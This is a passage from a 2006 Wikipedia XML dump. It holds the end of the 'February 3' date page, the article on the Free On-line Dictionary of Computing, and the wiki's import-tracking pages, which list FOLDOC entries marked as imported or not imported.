* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=03 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060203.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/3 BBC: On This Day]

----
[[February 2]] - [[February 4]] - [[January 3]] - [[March 3]] -- [[Historical anniversaries|listing of all days]]

{{months}}

[[Category:Days|February 03]]
[[Category:Days]]

[[af:3 Februarie]]
[[ar:3 فبراير]]
[[an:3 de frebero]]
[[ast:3 de febreru]]
[[bg:3 февруари]]
[[be:3 лютага]]
[[bs:3. februar]]
[[ca:3 de febrer]]
[[ceb:Pebrero 3]]
[[cv:Нарăс, 3]]
[[co:3 di frivaghju]]
[[cs:3. únor]]
[[cy:3 Chwefror]]
[[da:3. februar]]
[[de:3. Februar]]
[[et:3. veebruar]]
[[el:3 Φεβρουαρίου]]
[[es:3 de febrero]]
[[eo:3-a de februaro]]
[[eu:Otsailaren 3]]
[[fo:3. februar]]
[[fr:3 février]]
[[fy:3 febrewaris]]
[[ga:3 Feabhra]]
[[gl:3 de febreiro]]
[[ko:2월 3일]]
[[hr:3. veljače]]
[[io:3 di februaro]]
[[id:3 Februari]]
[[ia:3 de februario]]
[[ie:3 februar]]
[[is:3. febrúar]]
[[it:3 febbraio]]
[[he:3 בפברואר]]
[[jv:3 Februari]]
[[ka:3 თებერვალი]]
[[csb:3 gromicznika]]
[[ku:3'ê reşemiyê]]
[[lt:Vasario 3]]
[[lb:3. Februar]]
[[li:3 februari]]
[[hu:Február 3]]
[[mk:3 февруари]]
[[mr:फेब्रुवारी ३]]
[[ms:3 Februari]]
[[nap:3 'e frevaro]]
[[nl:3 februari]]
[[ja:2月3日]]
[[no:3. februar]]
[[nn:3. februar]]
[[oc:3 de febrièr]]
[[os:3 февралы]]
[[pl:3 lutego]]
[[pt:3 de Fevereiro]]
[[ro:3 februarie]]
[[ru:3 февраля]]
[[se:Guovvamánu 3.]]
[[sco:3 Februar]]
[[sq:3 Shkurt]]
[[scn:3 di frivaru]]
[[simple:February 3]]
[[sk:3. február]]
[[sl:3. februar]]
[[sr:3. фебруар]]
[[fi:3. helmikuuta]]
[[sv:3 februari]]
[[tl:Pebrero 3]]
[[tt:3. Febräl]]
[[te:ఫిబ్రవరి 3]]
[[th:3 กุมภาพันธ์]]
[[vi:3 tháng 2]]
[[tr:3 Şubat]]
[[uk:3 лютого]]
[[wa:3 d' fevrî]]
[[war:Pebrero 3]]
[[zh:2月3日]]
[[pam:Pebreru 3]]</text>
    </revision>
  </page>
  <page>
    <title>Free On-line Dictionary of Computing</title>
    <id>11324</id>
    <revision>
      <id>41747552</id>
      <timestamp>2006-03-01T13:24:30Z</timestamp>
      <contributor>
        <username>Aksi great</username>
        <id>504572</id>
      </contributor>
      <comment>Revert to revision 40882604 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">The '''Free On-line Dictionary of Computing''' ('''FOLDOC''') is an online, searchable encyclopedic [[dictionary]] of [[computing]] subjects.  It was founded in [[1985]] by '''Denis Howe''' and is hosted by [[Imperial College, London]]. Howe has served as the Editor-in-Chief since the dictionary's inception, with visitors to the website able to make suggestions for additions or corrections to articles.

The dictionary incorporates the text of other free resources, such as the [[Jargon File]], as well as covering many other computing-related topics.  It is available via many [[Mirror (computing)|mirrors]], and due to its availability under the [[GFDL]], a [[copyleft]] licence, it has in turn been incorporated in whole or part into other [[free content]] projects, such as [[Wikipedia]].

FOLDOC is covered by the [[GNU Free Documentation License]], Version 1.1 or any later version published by the [[Free Software Foundation]]; with no Invariant Sections, Front-, or Back-Cover Texts.

==See also== 
*[[:Category:FOLDOC sourced articles|FOLDOC sourced articles]]
*[[Template:FOLDOC| FOLDOC template]]
*[[Wikipedia:Foldoc license|FOLDOC licensing]]

==External links==
*[http://foldoc.org/ The Free On-line Dictionary of Computing]
*[http://foldoc.org/foldoc/mirrors.html FOLDOC Mirror Sites]

[[Category:Online dictionaries]]
[[Category:Technical communication]]

[[es:Free On-line Dictionary of Computing]]
[[it:Free On-line Dictionary of Computing]]
[[nl:Free On-line Dictionary of Computing]]
[[ja:FOLDOC]]
[[pl:Free On-line Dictionary of Computing]]
[[pt:FOLDOC]]
[[sv:FOLDOC]]
[[zh:自由的在线计算机词典]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Status of FOLDOC import</title>
    <id>11325</id>
    <revision>
      <id>36745208</id>
      <timestamp>2006-01-26T04:17:23Z</timestamp>
      <contributor>
        <username>Doug Bell</username>
        <id>752893</id>
      </contributor>
      <minor />
      <comment>|{{PAGENAME}}</comment>
      <text xml:space="preserve">This is a title index of all the entries at the [[FOLDOC|Free On-line Dictionary of Computing]], which we have been given [[Wikipedia:Foldoc license|permission]] to use. This page is to keep track of what has been incorporated into Wikipedia. Anyone who wants to help, jump right in. As entries are imported, simply add '''DONE''' after the link.

[[Wikipedia:Free_On-line_Dictionary_of_Computing/symbols - B|symbols - B]] -- [[Wikipedia:Free_On-line_Dictionary_of_Computing/C - D|C - D]] -- [[Free_On-line_Dictionary_of_Computing/E - H|E - H]] -- [[Wikipedia:Free_On-line_Dictionary_of_Computing/I - K|I - K]] -- [[Wikipedia:Free_On-line_Dictionary_of_Computing/L - N|L - N]] -- [[Wikipedia:Free_On-line_Dictionary_of_Computing/O - Q|O - Q]] -- [[Wikipedia:Free_On-line_Dictionary_of_Computing/R - S|R - S]] -- [[Wikipedia:Free_On-line_Dictionary_of_Computing/T - W|T - W]] -- [[Wikipedia:Free_On-line_Dictionary_of_Computing/X - Z|X - Z]]

A few notes:
* Many entries will have to be renamed, such as number-only titles (since we generally reserve number entries for years). For example, [[8086]] becomes [[Intel 8086]]. Also titles that clash with non-computing subjects will need new names.

* Some entries we won't need or want to import (we might already have the information in an article, for example). In these cases, the entry should be marked as '''NO IMPORT''', and the reason given. In particular there are thousands of entries from the [[Jargon File]], most of which do not make encyclopedia articles.

* Many articles contain outdated information, especially note about technologies that were superseded, companies whose ownership has changed, etc. As a general principle, '''never do data dump'''.

* Generally, acronyms should be expanded. For example, the [[Industry Standard Architecture| ISA]] article should be found at [[Industry Standard Architecture]], rather than pointing to ISA the disambiguation page. Many entries occur twice e.g., [[TCP]] and [[Transmission control protocol]] -- one should [[Wikipedia:redirect|redirect]] to the other as appropriate.  Also, you may update the [[List of computing and IT abbreviations|existing list]] of computing abbreviations.

* If an article already exists on a given topic but the FOLDOC entry has information that we don't, it should be integrated with our article, rather than tacked onto the end. If our article and the FOLDOC one contradict each other, mention the contradiction on the appropriate Talk page so it can be discussed.

* When importing a full entry, or integrating it with one of our current entries, it would be good to leave a note similar to this at the bottom, though FOLDOC's editor, Denis Howe, doesn't require it: 

::&lt;nowiki&gt;''This article was originally based on material from [[Free On-line Dictionary of Computing|FOLDOC]], used with [[Wikipedia:Foldoc license|permission]]. Update as needed.''&lt;/nowiki&gt;

: Alternatively, the &lt;nowiki&gt;{{FOLDOC}}&lt;/nowiki&gt; message template may be used to incorporate an appropriate message.

* New entries and changes appear on FOLDOC from time to time at http://foldoc.doc.ic.ac.uk/foldoc/new.html

''See also:'' [[Free On-line Dictionary of Computing]]

== Mirrors ==

These are FOLDOC mirrors, which may not be up-to-date:
* http://www.instantweb.com/foldoc/
* http://www.nue.org/foldoc/
* http://www.nightflight.com/foldoc/
* http://foldoc.linuxguruz.org/

[[Category:Wikipedia maintenance|{{PAGENAME}}]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Free On-line Dictionary of Computing/symbols - B</title>
    <id>11327</id>
    <revision>
      <id>31545269</id>
      <timestamp>2005-12-16T00:34:30Z</timestamp>
      <contributor>
        <username>Kenb215</username>
        <id>87869</id>
      </contributor>
      <minor />
      <comment>Disambig page style repair ([[Wikipedia:WikiProject Disambiguation|you can help!]])</comment>
      <text xml:space="preserve">:''See also :'' [[Free On-line Dictionary of Computing]]
'''symbols - B''' -- [[Free_On-line_Dictionary_of_Computing/C - D|C - D]] -- [[Free_On-line_Dictionary_of_Computing/E - H|E - H]] -- [[Free_On-line_Dictionary_of_Computing/I - K|I - K]] -- [[Free_On-line_Dictionary_of_Computing/L - N|L - N]] -- [[Free_On-line_Dictionary_of_Computing/O - Q|O - Q]] -- [[Free_On-line_Dictionary_of_Computing/R - S|R - S]] -- [[Free_On-line_Dictionary_of_Computing/T - W|T - W]] -- [[Free_On-line_Dictionary_of_Computing/X - Z|X - Z]] -- [[Wikipedia:Status of FOLDOC import|FOLDOC Status Page]]

[[!]] -- '''DONE''' renamed to exclamation mark&lt;br&gt;
[[&quot;]] -- '''DONE''' renamed to double quote&lt;br&gt;
[[%]] -- '''DONE''' renamed to percent&lt;br&gt;
[[,]] -- '''DONE''' renamed to comma&lt;br&gt;
[[0 (number)|0]] -- '''DONE''' renamed to zero&lt;br&gt;
[[0/1 knapsack problem]] -- '''DONE'''&lt;br&gt;
[[100BaseFX]] -- '''DONE'''&lt;br&gt;
[[100BaseT]] -- '''DONE'''&lt;br&gt;
[[100BaseTX]] -- '''DONE'''&lt;br&gt;
[[100BaseVG]] -- '''DONE'''&lt;br&gt;
[[100VG-AnyLAN]] -- '''DONE''' (redirected to [[100BaseVG]])&lt;br&gt;
[[10base2]] -- '''DONE'''&lt;br&gt;
[[10base5]] -- '''DONE'''&lt;br&gt;
[[10baseT]] -- '''DONE'''&lt;br&gt;
[[120 reset]] -- '''DONE'''&lt;br&gt;
[[1-2-3]] -- '''DONE''' (renamed [[Lotus 1-2-3]])&lt;br&gt;
[[1394]] -- '''DONE''' (renamed [[Firewire]])&lt;br&gt;
[[1541]] -- '''DONE''' (renamed [[Commodore 1541]])&lt;br&gt;
[[1581]] -- '''DONE''' (renamed [[Commodore 1581]])&lt;br&gt;
[[16550]] -- '''DONE''' (renamed [[16550 UART]])&lt;br&gt;
[[16 bit]] -- '''DONE'''&lt;br&gt;
[[16-bit application]] -- '''DONE'''&lt;br&gt;
[[1802]] -- '''DONE''' (renamed CDP1802) -- '''REDONE''' (merged into [[RCA 1802]])&lt;br&gt;
[[1NF]] -- '''DONE''' (renamed [[database normalization]])&lt;br&gt;
[[1TBS]] -- '''DONE''' (renamed to [[One True Brace Style]])&lt;br&gt;
[[1.TR.6]] -- '''DONE'''&lt;br&gt;
[[2]] -- '''DONE''' renamed to Number 2 &lt;br&gt;
[[20-GATE]] -- '''DONE''' (probably should be [[20-Gate programming language]], but I'm not sure)&lt;br&gt;
[[2780]] -- '''DONE''' (renamed [[Binary Synchronous Transmission]])&lt;br&gt;
[[2B1D]] -- '''DONE''' (renamed to [[Basic Rate Interface]])&lt;br&gt;
[[2B1Q]] -- '''DONE''' (renamed to [[two-binary, one-quaternary]])&lt;br&gt;
[[2B+D]] -- '''DONE''' (renamed to [[Basic Rate Interface]])&lt;br&gt;
[[2NF]] -- '''DONE''' (renamed [[database normalization]])&lt;br&gt;
2.PAK -- '''DONE'''&lt;br&gt;
320xx -- '''DONE''' (renamed 320xx microprocessor)&lt;br&gt;
3270 -- '''DONE''' (renamed IBM 3270)&lt;br&gt;
32-bit application -- '''DONE'''&lt;br&gt;
3780 -- '''DONE''' (renamed Binary Synchronous Transmission)&lt;br&gt;
386 -- '''DONE''' renamed to (Intel 80386)&lt;br&gt;
386BSD -- '''DONE''' (integrated with our article)&lt;br&gt;
386SPART.PAR -- ''DONE'''&lt;br&gt;
3Com Corporation -- '''DONE'''&lt;br&gt;
3DO -- '''DONE'''&lt;br&gt;
3GL -- '''DONE''' (renamed Third generation language)&lt;br&gt;
3NF -- '''DONE''' (renamed database normalization)&lt;br&gt;
3Station -- '''DONE'''&lt;br&gt;
3-tier -- '''DONE''' renamed to 3-tier (computing)&lt;br&gt;
404 -- '''DONE''' (renamed 404 error)&lt;br&gt;
4.2BSD -- '''DONE''' renamed to Berkeley Software Distribution&lt;br&gt;
431A -- '''DONE'''&lt;br&gt;
4510 -- '''DONE'''&lt;br&gt;
473L Query -- '''DONE''' (renamed 473L Query programming language)&lt;br&gt;
486 -- '''DONE''' (renamed Intel 80486)&lt;br&gt;
486SX -- '''DONE''' (renamed Intel 80486SX&lt;br&gt;
4GL -- '''DONE''' (renamed fourth generation language)&lt;br&gt;
4NF -- '''DONE''' (renamed database normalization)&lt;br&gt;
51forth -- '''DONE''' (renamed 51forth programming language)&lt;br&gt;
56 kbps -- '''DONE'''&lt;br&gt;
56k line -- '''DONE'''&lt;br&gt;
586 -- '''NO IMPORT:''' &quot;What the Pentium was not called&quot; isn't exactly an article. ;-)&lt;br&gt;
5ESS Switch -- '''DONE'''&lt;br&gt;
5NF -- '''DONE''' (renamed database normalization)&lt;br&gt;
5th Glove -- '''DONE'''&lt;br&gt;
6.001 -- '''DONE''' renamed to 6.001 (MIT)&lt;br&gt;
610 -- '''DONE'''&lt;br&gt;
6309 -- '''DONE''' (renamed Hitachi 6309)&lt;br&gt;
64 bit -- '''DONE'''&lt;br&gt;
6501 -- '''DONE''' (renamed MOS Technologies 6501)&lt;br&gt;
6502 -- '''DONE''' (renamed MOS Technologies 6502)&lt;br&gt;
650x -- '''DONE''' (renamed MOS Technologies 650x)&lt;br&gt;
6510 -- '''DONE''' (renamed MOS Technologies 6510)&lt;br&gt;
65816 -- '''DONE''' (renamed MOS Technologies 65816)&lt;br&gt;
6800 -- '''DONE''' (renamed Motorola 6800)&lt;br&gt;
68000 -- '''DONE''' renamed to Motorola 68000&lt;br&gt;
68020 -- '''DONE''' (renamed Motorola 68020)&lt;br&gt;
68030 -- '''DONE''' (renamed Motorola 68030)&lt;br&gt;
68040 -- '''DONE''' (renamed Motorola 68040)&lt;br&gt;
68050 -- '''DONE'''&lt;br&gt;
68060 -- '''DONE''' (renamed Motorola 68060)&lt;br&gt;
6809 -- '''DONE''' (renamed Motorola 6809)&lt;br&gt;
680x0 -- '''DONE''' renamed to Motorola 680x0&lt;br&gt;
686 -- '''DONE''' (see other meanings links)&lt;br&gt;
68HC11 -- '''DONE''' (renamed Motorola 68HC11)&lt;br&gt;
68LC040 -- '''DONE''' (renamed Motorola 68LC040)&lt;br&gt;
6x86 -- '''DONE''' (renamed Cyrix 6x86&lt;br&gt;
754 -- '''DONE''' (renamed IEEE Floating Point Standard&lt;br&gt;
80186 -- '''DONE''' (renamed Intel 80186)&lt;br&gt;
80188 -- '''DONE''' (renamed Intel 80188)&lt;br&gt;
802.2 -- '''DONE''' (renamed IEEE 802.2&lt;br&gt;
802.3 -- '''DONE''' (renamed IEEE 802.3&lt;br&gt;
80286 -- '''NO IMPORT''' (already exists)&lt;br&gt;
8031 -- '''DONE''' (renamed Intel 8051)&lt;br&gt;
80386 -- '''NO IMPORT''' (already exists)&lt;br&gt;
8048 -- '''DONE''' (renamed Intel 8048)&lt;br&gt;
80486 -- '''NO IMPORT''' (already exists)&lt;br&gt;
8051 -- '''DONE''' (renamed Intel 8051)&lt;br&gt;
8052 -- '''DONE''' (renamed Intel 8051)&lt;br&gt;
8080 -- '''DONE''' (renamed Intel 8080)&lt;br&gt;
8086 -- '''DONE''' (renamed Intel 8086)&lt;br&gt;
8088 -- '''NO IMPORT''' (already exists)&lt;br&gt;
80x86 -- '''DONE''' (renamed Intel 80x86)&lt;br&gt;
822 -- '''DONE''' (renamed RFC 822)&lt;br&gt;
82430FX -- '''DONE''' (renamed Triton II)&lt;br&gt;
82430HX -- '''DONE''' (renamed Triton II)&lt;br&gt;
82430MX -- '''DONE''' (renamed Mobile Triton)&lt;br&gt;
82430VX -- '''DONE''' (renamed Triton VX)&lt;br&gt;
8.3 -- '''DONE''' (renamed 8.3 (computing))&lt;br&gt;
8514 -- '''DONE''' (renamed 8514 (display standard))&lt;br&gt;
8514-A -- '''DONE''' (renamed 8514 (display standard))&lt;br&gt;
88000 -- '''DONE''' (renamed Motorola 88000)&lt;br&gt;
88open -- '''DONE'''&lt;br&gt;
8-bit clean -- '''DONE'''&lt;br&gt;
8N1 -- '''DONE'''&lt;br&gt;
8 queens problem -- '''NO IMPORT''' (already exists)&lt;br&gt;
8 queens puzzle -- '''NO IMPORT''' (already exists)&lt;br&gt;
8x86 -- '''DONE''' (renamed Intel 80x86)&lt;br&gt;
90-90 Rule -- '''DONE''' (renamed Ninety-Ninety Rule)&lt;br&gt;
9PAC -- '''DONE'''&lt;br&gt;
:-) -- '''DONE''' (renamed to smiley)&lt;br&gt;
&lt;br&gt; -- '''NO IMPORT''' (what is this supposed to be?)&lt;br&gt;
= -- '''DONE''' (renamed to equals (computing))&lt;br&gt;
@ -- '''DONE''' (renamed to commercial at (computing))&lt;br&gt;
A# -- '''DONE''' (renamed to A sharp)&lt;br&gt;
A-0 -- '''DONE'''&lt;br&gt;
a1 -- '''DONE'''&lt;br&gt;
A1 security -- '''DONE''' (renamed to Orange Book)&lt;br&gt;
A20 handler -- '''DONE'''&lt;br&gt;
A-3 -- '''DONE''' (renamed to ARITH-MATIC)&lt;br&gt;
A3D -- '''DONE'''&lt;br&gt;
a56 -- '''DONE'''&lt;br&gt;
AADL -- '''DONE''' (renamed to Axiomatic Architecture Description Language)&lt;br&gt;
AAL -- '''DONE''' (renamed to ATM Adaptation Layer)&lt;br&gt;
AAP -- '''DONE''' (renamed to Associaton of American Publishers)&lt;br&gt;
AAP DTD -- '''DONE'''&lt;br&gt;
aard -- '''DONE'''&lt;br&gt;
AARP -- '''DONE''' (renamed to Apple Address Resolution Protocol)&lt;br&gt;
AARP probe packets -- '''DONE''' (renamed to AARP probe packet)&lt;br&gt;
AAUI -- '''DONE''' (renamed to Apple Attachment Unit Interface)&lt;br&gt;
A&amp;ampB -- '''DONE'''&lt;br&gt;
abbrev -- '''NO IMPORT''' (not suitable for an encyclopedia article)&lt;br&gt;
Abbreviated Test Language for Avionics Systems -- '''DONE'''&lt;br&gt;
ABC -- '''DONE''' (renamed to ABC (programming))&lt;br&gt;
ABC ALGOL -- '''DONE'''&lt;br&gt;
ABCL/1 -- '''DONE'''&lt;br&gt;
ABCL/c+ -- '''DONE''' (renamed to ABCL/c plus)&lt;br&gt;
ABCL/R -- '''DONE'''&lt;br&gt;
ABCL/R2 -- '''DONE'''&lt;br&gt;
abduction -- '''DONE''' (renamed to abduction (logic))&lt;br&gt;
ABEND -- '''DONE'''&lt;br&gt;
ABI -- '''DONE''' (renamed to Application Binary Interface)&lt;br&gt;
ABLE -- '''DONE'''&lt;br&gt;
ABM -- '''DONE''' (renamed to Asynchronous Balanced Mode)&lt;br&gt;
ABNF -- '''DONE''' (renamed to Augmented Backus-Naur Form)&lt;br&gt;
abort -- '''DONE''' (renamed to Abort (computing))&lt;br&gt;
ABP -- '''DONE''&lt;br&gt;
ABR -- '''DONE''' (renamed to Automatic baud rate detection)&lt;br&gt;
abscissa -- '''DONE'''&lt;br&gt;
ABSET -- '''DONE'''&lt;br&gt;
absolute path -- '''DONE'''&lt;br&gt;
absolute pathname -- '''DONE''' renamed to absolute path&lt;br&gt;
abstract class -- '''DONE'''&lt;br&gt;
abstract data type -- '''NO IMPORT''' (already exists)&lt;br&gt;
abstract interpretation -- '''DONE'''&lt;br&gt;
abstraction -- '''DONE''' (renamed to abstraction (programming))&lt;br&gt;
abstract machine -- '''DONE'''&lt;br&gt;
Abstract Machine Notation -- '''DONE'''&lt;br&gt;
abstract syntax -- '''DONE'''&lt;br&gt;
Abstract Syntax Notation 1 -- '''DONE'''&lt;br&gt;
abstract syntax tree -- '''DONE'''&lt;br&gt;
Abstract-Type and Scheme-Definition Language -- '''DONE'''&lt;br&gt;
Abstract Windowing Toolkit -- '''DONE'''&lt;br&gt;
Abstract Window Toolkit -- '''DONE''' (renamed to Abstract Window Toolkit)&lt;br&gt;
ABSYS -- '''DONE'''&lt;br&gt;
ACA -- '''DONE''' (renamed to Application Control Architecture)&lt;br&gt;
ACAP -- '''DONE''' (renamed to Application Configuration Access Protocol)&lt;br&gt;
Accelerated Graphics Port -- '''DONE'''&lt;br&gt;
accelerator -- '''DONE''' (renamed to Accelerator (computing))&lt;br&gt;
Accent -- '''DONE''' (renamed to Accent (programming language))&lt;br&gt;
accept -- '''DONE''' (renamed to Accept (computing routine))&lt;br&gt;
Acceptable Use Policy -- '''DONE'''&lt;br&gt;
acceptance testing -- '''DONE'''&lt;br&gt;
Acceptance, Test Or Launch Language -- '''DONE'''&lt;br&gt;
acceptor -- ''NO IMPORT'' (already have article on [[Finite state machine]]; left FOLDOC article in [[Talk:Finite state machine]] if anyone wants to merge it) &lt;br&gt;
Access -- ''DONE'' (part when to [[Access query language]], the communications program went to [[Microsoft Access]], since we already have an article on Microsoft Access the database, that was dumped in [[Talk:Microsoft Access]])&lt;br&gt;
Access Control List -- '''DONE'''&lt;br&gt;
access method -- '''DONE'''&lt;br&gt;
access permission&lt;br&gt;
access time&lt;br&gt;
ACCLAIM&lt;br&gt;
Accounting File&lt;br&gt;
accounting management&lt;br&gt;
ACCU&lt;br&gt;
accumulator -- '''DONE'''&lt;br&gt;
accuracy&lt;br&gt;
ACE&lt;br&gt;
ACF&lt;br&gt;
ACF/NCP&lt;br&gt;
ACIA&lt;br&gt;
ACID&lt;br&gt;
ACIS&lt;br&gt;
ACK&lt;br&gt;
ACL&lt;br&gt;
ACM&lt;br&gt;
ACME&lt;br&gt;
ACOM&lt;br&gt;
Acorn Archimedes&lt;br&gt;
Acorn Computer Group&lt;br&gt;
Acorn Computers Ltd.&lt;br&gt;
[[ARM Ltd|Acorn RISC Machine]]&lt;br&gt;
ACOS&lt;br&gt;
acoustic coupler&lt;br&gt;
ACP&lt;br&gt;
ACPI -- '''DONE'''&lt;br&gt;
Acrobat&lt;br&gt;
acronym&lt;br&gt;
ACSE&lt;br&gt;
ACT -- see Annual Change Traffic, Ada Core Technologies &lt;br&gt;
ACT++&lt;br&gt;
Act1&lt;br&gt;
Act2&lt;br&gt;
Act3&lt;br&gt;
Actalk&lt;br&gt;
Actis&lt;br&gt;
activation record&lt;br&gt;
active DBMS&lt;br&gt;
Active Directory&lt;br&gt;
Active Language I&lt;br&gt;
active matrix display&lt;br&gt;
Active Monitor&lt;br&gt;
active object&lt;br&gt;
Active Reconfiguring Message&lt;br&gt;
Active Server Pages&lt;br&gt;
ActiveX&lt;br&gt;
ACT ONE&lt;br&gt;
Actor&lt;br&gt;
actor&lt;br&gt;
Actors&lt;br&gt;
actor/singer/waiter/webmaster&lt;br&gt;
Actra&lt;br&gt;
Actus&lt;br&gt;
AD&lt;br&gt;
ad&lt;br&gt;
Ada&lt;br&gt;
Ada++&lt;br&gt;
Ada 83&lt;br&gt;
Ada 95&lt;br&gt;
Ada 9X&lt;br&gt;
ADABAS&lt;br&gt;
Ada Core Technologies&lt;br&gt;
Ada/Ed&lt;br&gt;
Adaline&lt;br&gt;
Ada Lovelace&lt;br&gt;
ADAM&lt;br&gt;
Adam7&lt;br&gt;
Adamakegen&lt;br&gt;
ADAMO&lt;br&gt;
Ada-O&lt;br&gt;
Adaplan&lt;br&gt;
Adaplex&lt;br&gt;
Ada Programming Support Environment&lt;br&gt;
ADAPT&lt;br&gt;
Adaptable User Interface&lt;br&gt;
Adaptec&lt;br&gt;
adaptive answering&lt;br&gt;
Adaptive Communication Environment&lt;br&gt;
Adaptive Digital Pulse Code Modulation&lt;br&gt;
adaptive learning&lt;br&gt;
adaptive routing&lt;br&gt;
Adaptive Simulated Annealing&lt;br&gt;
Adaptive TRansform Acoustic Coding&lt;br&gt;
Adaptor&lt;br&gt;
Ada Semantic Interface Specification&lt;br&gt;
Ada Software Repository&lt;br&gt;
ADC&lt;br&gt;
ADCCP&lt;br&gt;
A/D converter&lt;br&gt;
AD/Cycle&lt;br&gt;
ADD 1 TO COBOL GIVING COBOL&lt;br&gt;
ADDD&lt;br&gt;
additive&lt;br&gt;
address&lt;br&gt;
address bus&lt;br&gt;
addressed call mode&lt;br&gt;
addressee&lt;br&gt;
addressing mode&lt;br&gt;
address mask&lt;br&gt;
address resolution&lt;br&gt;
Address Resolution Protocol&lt;br&gt;
address space&lt;br&gt;
Address Strobe&lt;br&gt;
ADELE&lt;br&gt;
ADES&lt;br&gt;
[[ad hoc]] -- '''NO IMPORT''' (already exists) &lt;br&gt;
ad-hockery&lt;br&gt;
[[polymorphism (computer science)|ad-hoc polymorphism]] -- '''NO IMPORT''' (already exists)&lt;br&gt;
Aditi&lt;br&gt;
adjacency&lt;br&gt;
adjacent&lt;br&gt;
ADL&lt;br&gt;
AdLog&lt;br&gt;
ADM&lt;br&gt;
ADMD&lt;br&gt;
admin&lt;br&gt;
Administration Management Domain&lt;br&gt;
administrative distance&lt;br&gt;
Administrative Domain&lt;br&gt;
admissible&lt;br&gt;
Adobe Systems, Inc.&lt;br&gt;
Adobe Type Manager&lt;br&gt;
ADPCM&lt;br&gt;
ADS&lt;br&gt;
ADSL&lt;br&gt;
ADSP&lt;br&gt;
ADSU&lt;br&gt;
ADT&lt;br&gt;
Advanced Communication Function/Network Control Program&lt;br&gt;
Advanced Communications Function&lt;br&gt;
Advanced Computing Environment&lt;br&gt;
Advanced Configuration and Power Interface -- '''DONE'''&lt;br&gt;
Advanced Data Communications Control Protocol&lt;br&gt;
Advanced Encryption Standard&lt;br&gt;
Advanced Function Presentation&lt;br&gt;
Advanced Function Printing&lt;br&gt;
Advanced Intelligent Tape&lt;br&gt;
Advanced Interactive eXecutive&lt;br&gt;
Advanced Micro Devices, Inc.&lt;br&gt;
Advanced Network Systems Architecture&lt;br&gt;
Advanced Peer-to-Peer Networking&lt;br&gt;
Advanced Power Management -- '''DONE'''&lt;br&gt;
Advanced Program-to-Program Communications&lt;br&gt;
Advanced Research Projects Agency&lt;br&gt;
Advanced Research Projects Agency Network&lt;br&gt;
Advanced Revelation&lt;br&gt;
Advanced RISC Computing Specification&lt;br&gt;
Advanced RISC Machine '''DONE''', renamed [[Acorn RISC Machine]] and moved to [[ARM Ltd]]&lt;br&gt;
Advanced RISC Machines Ltd. '''DONE''', renamed [[Advanced RISC Machines]] and merged with [[ARM Ltd]]&lt;br&gt;
Advanced SCSI Peripheral Interface&lt;br&gt;
Advanced Software Environment&lt;br&gt;
Advanced STatistical Analysis Program&lt;br&gt;
Advanced Technology Attachment&lt;br&gt;
Advanced Technology Attachment Interface with Extensions&lt;br&gt;
Advanced WavEffect&lt;br&gt;
ADVENT&lt;br&gt;
Adventure Definition Language&lt;br&gt;
ADVSYS&lt;br&gt;
AE&lt;br&gt;
ae&lt;br&gt;
AED&lt;br&gt;
AEGIS&lt;br&gt;
Aegis&lt;br&gt;
Aeolus&lt;br&gt;
AEP&lt;br&gt;
aeroplane rule&lt;br&gt;
AES&lt;br&gt;
AESOP&lt;br&gt;
af&lt;br&gt;
AFAC&lt;br&gt;
AFAIK&lt;br&gt;
affine transformation&lt;br&gt;
affordance&lt;br&gt;
AFIPS&lt;br&gt;
AFJ&lt;br&gt;
AFK&lt;br&gt;
aflex&lt;br&gt;
AFNOR&lt;br&gt;
AFP&lt;br&gt;
AFS&lt;br&gt;
AFUU&lt;br&gt;
ag&lt;br&gt;
agent&lt;br&gt;
aggregate type&lt;br&gt;
aggregation&lt;br&gt;
AGL&lt;br&gt;
AGM Theory for Belief Revision&lt;br&gt;
AGORA&lt;br&gt;
AGP -- '''DONE'''&lt;br&gt;
AGP graphics&lt;br&gt;
A Hardware Programming Language&lt;br&gt;
AHDL&lt;br&gt;
AHPL&lt;br&gt;
AI&lt;br&gt;
ai&lt;br&gt;
AIA&lt;br&gt;
AI-complete&lt;br&gt;
AID&lt;br&gt;
AIDA&lt;br&gt;
AIDS&lt;br&gt;
AIDX&lt;br&gt;
AIFF&lt;br&gt;
AI International&lt;br&gt;
AI koan&lt;br&gt;
AIMACO&lt;br&gt;
Aimnet&lt;br&gt;
AIR&lt;br&gt;
AIr MAterial COmmand compiler&lt;br&gt;
airplane rule&lt;br&gt;
AIT&lt;br&gt;
AIX&lt;br&gt;
AKC&lt;br&gt;
AKCL&lt;br&gt;
A. K. Erlang&lt;br&gt;
AKL&lt;br&gt;
AL&lt;br&gt;
al&lt;br&gt;
Aladdin Systems&lt;br&gt;
ALADIN&lt;br&gt;
ALAM&lt;br&gt;
Alan F. Shugart&lt;br&gt;
A-language&lt;br&gt;
A Language Encouraging Program Hierarchy&lt;br&gt;
A Language for Attributed Definitions&lt;br&gt;
A Language with an Extensible Compiler&lt;br&gt;
Alan Kay&lt;br&gt;
Alan M. Turing&lt;br&gt;
Alan Shugart&lt;br&gt;
Alan Turing&lt;br&gt;
A-law&lt;br&gt;
ALC&lt;br&gt;
Alcool-90&lt;br&gt;
ALCOR&lt;br&gt;
Aldat&lt;br&gt;
ALDES&lt;br&gt;
ALDiSP&lt;br&gt;
ALEC&lt;br&gt;
ALEF&lt;br&gt;
ALEPH&lt;br&gt;
Aleph&lt;br&gt;
aleph 0&lt;br&gt;
alert&lt;br&gt;
Alex&lt;br&gt;
Alexis&lt;br&gt;
ALF&lt;br&gt;
Alfl&lt;br&gt;
algebra&lt;br&gt;
ALGEBRAIC&lt;br&gt;
algebraic&lt;br&gt;
[[algebraic data type]] '''DONE'''&lt;br&gt;
Algebraic Interpretive Dialogue&lt;br&gt;
Algebraic Logic Functional language&lt;br&gt;
Algebraic Manipulation Package&lt;br&gt;
Algebraic Specification Language&lt;br&gt;
algebraic structure&lt;br&gt;
Algebra of Communicating Processes&lt;br&gt;
ALGOL&lt;br&gt;
ALGOL 58&lt;br&gt;
ALGOL 60&lt;br&gt;
ALGOL 60 Modified&lt;br&gt;
ALGOL 60 Revised&lt;br&gt;
ALGOL 68&lt;br&gt;
ALGOL 68C&lt;br&gt;
ALGOL 68-R&lt;br&gt;
ALGOL 68 Revised&lt;br&gt;
ALGOL 68RS&lt;br&gt;
ALGOL 68S&lt;br&gt;
